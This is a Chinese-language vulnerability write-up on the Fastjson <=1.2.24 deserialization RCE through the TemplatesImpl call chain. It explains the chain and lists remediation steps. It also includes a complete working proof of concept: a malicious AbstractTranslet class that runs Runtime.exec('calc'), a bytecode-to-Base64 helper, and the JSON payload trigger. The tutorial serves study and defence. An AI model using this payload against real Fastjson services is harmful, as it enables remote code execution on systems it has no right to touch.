白话分析 fastjson<=1.2.24 TemplatesImpl调用链 rce
字数 2160 2025-08-07 08:22:07
Fastjson反序列化漏洞分析:TemplatesImpl调用链
1. 漏洞概述
Fastjson <=1.2.24版本存在反序列化漏洞,攻击者可以通过构造特殊的JSON数据,利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类实现远程代码执行(RCE)。
2. 漏洞原理
2.1 TemplatesImpl类分析
TemplatesImpl类中存在Java动态编程的实现,具体利用的是Javassist动态编程方式:
- 传统Java代码编译生成.class字节码文件,JVM在运行时将这些字节码转换成机器码执行
- Javassist模式允许手工编写字节码并传入JVM中执行
TemplatesImpl类的_bytecodes属性存放手工编写的字节码- 调用
getTransletInstance()方法时会加载这些字节码到JVM中,获取字节码中的类并调用newInstance()创建实例
2.2 Fastjson提供的利用条件
Fastjson恰好提供了两个关键条件:
- 可以通过
@type指定TemplatesImpl类,并构造_bytecodes属性内容 - 在反序列化过程中会触发
getOutputProperties()方法,进而调用newTransformer()和getTransletInstance()
3. 调用链分析
3.1 调用链流程
完整的调用链如下:
JSON.parseObject()
-> JavaBeanDeserializer.deserialze()
-> parseField()
-> smartMatch() // 处理属性名,去掉下划线
-> 反射调用getOutputProperties()
-> newTransformer()
-> getTransletInstance()
-> defineTransletClasses() // 加载恶意字节码
-> newInstance() // 实例化恶意类
3.2 关键方法分析
-
getTransletInstance()
- 触发恶意代码执行的核心方法
- 通过
_class[_transletIndex].newInstance()实例化恶意类 - 要求:
- 恶意类必须继承
AbstractTranslet _name属性不能为空
- 恶意类必须继承
-
defineTransletClasses()
- 将
_bytecodes字节码转换为Class对象 - 使用
TransletClassLoader.defineClass()加载字节码 - 将生成的Class对象赋值给
_class属性
- 将
-
getOutputProperties()
- Fastjson反序列化时会触发此getter方法
- 方法返回
Properties对象(继承自Hashtable,实现了Map接口) - 内部调用
newTransformer()
4. 漏洞利用条件
4.1 必须条件
- Fastjson版本 <=1.2.24
- 反序列化时必须启用
Feature.SupportNonPublicField特性(1.2.22版本引入) - 恶意类必须继承
AbstractTranslet - JSON中必须包含:
@type指定为TemplatesImpl类_bytecodes包含恶意类字节码(Base64编码)_name不为空_outputProperties属性
4.2 可选属性
虽然以下属性不是必须的,但可以增加POC的兼容性:
_tfactory:某些JDK版本在defineTransletClasses()中会引用此属性_transletIndex:默认为0,指定使用哪个Class实例化_auxClasses:辅助类
5. 漏洞复现
5.1 恶意类构造
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
public class EvalClassforfastjsonTemplateImpl extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public EvalClassforfastjsonTemplateImpl() throws Exception {
// 反射调用Runtime.getRuntime().exec("calc")
Class cls = Class.forName("java.lang.Runtime");
Method method = cls.getMethod("getRuntime", null);
Object obs = method.invoke(null, null);
Method method1 = obs.getClass().getMethod("exec", String.class);
method1.invoke(obs, "calc");
}
}
5.2 字节码提取
import com.sun.org.apache.bcel.internal.Repository;
import java.util.Base64;
public class EvalClastoBytes {
public String Starts(Class<EvalClassforfastjsonTemplateImpl> Evalclass) {
return Base64.getEncoder().encodeToString(Repository.lookupClass(Evalclass).getBytes());
}
}
5.3 漏洞触发
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class fastjson124 {
public static void main(String[] args) {
EvalClastoBytes evalClastoBytes = new EvalClastoBytes();
String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evilCode = evalClastoBytes.Starts(EvalClassforfastjsonTemplateImpl.class);
String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b',\"_outputProperties\":{}}";
JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
}
}
6. 技术细节
6.1 Fastjson属性处理机制
-
smartMatch方法:
- 处理属性名时会去掉下划线
_outputProperties会被转换为outputProperties- 因此实际调用的是
getOutputProperties()方法
-
getter方法调用条件:
- 只有getter方法,没有setter方法
- 方法名长度大于4
- 非静态方法
- 以"get"开头,且第4个字符为大写字母
- 方法无参数
- 返回值继承自
Collection、Map、AtomicBoolean、AtomicInteger或AtomicLong
6.2 JDK版本差异
不同JDK版本可能存在差异,主要体现在:
_tfactory属性的处理defineTransletClasses()方法的具体实现- 类加载机制
7. 防御与修复
-
官方修复:
- 1.2.25版本开始,默认关闭
autoType功能 - 增加了
checkAutoType()安全检查
- 1.2.25版本开始,默认关闭
-
防御措施:
- 升级Fastjson到最新版本
- 不要使用
Feature.SupportNonPublicField - 使用白名单机制限制反序列化的类
8. 总结
TemplatesImpl调用链是Fastjson早期反序列化漏洞的经典利用方式,虽然实战价值有限(需要开启SupportNonPublicField),但具有重要的学习价值:
- 深入理解Fastjson反序列化机制
- 掌握Java动态编程和字节码加载原理
- 为后续分析CC链等更复杂的利用链打下基础
- 培养代码审计和漏洞挖掘的思维方式
此漏洞的核心在于Fastjson反序列化时通过@type指定类后,会反射调用属性的setter/getter方法,从而触发恶意代码执行。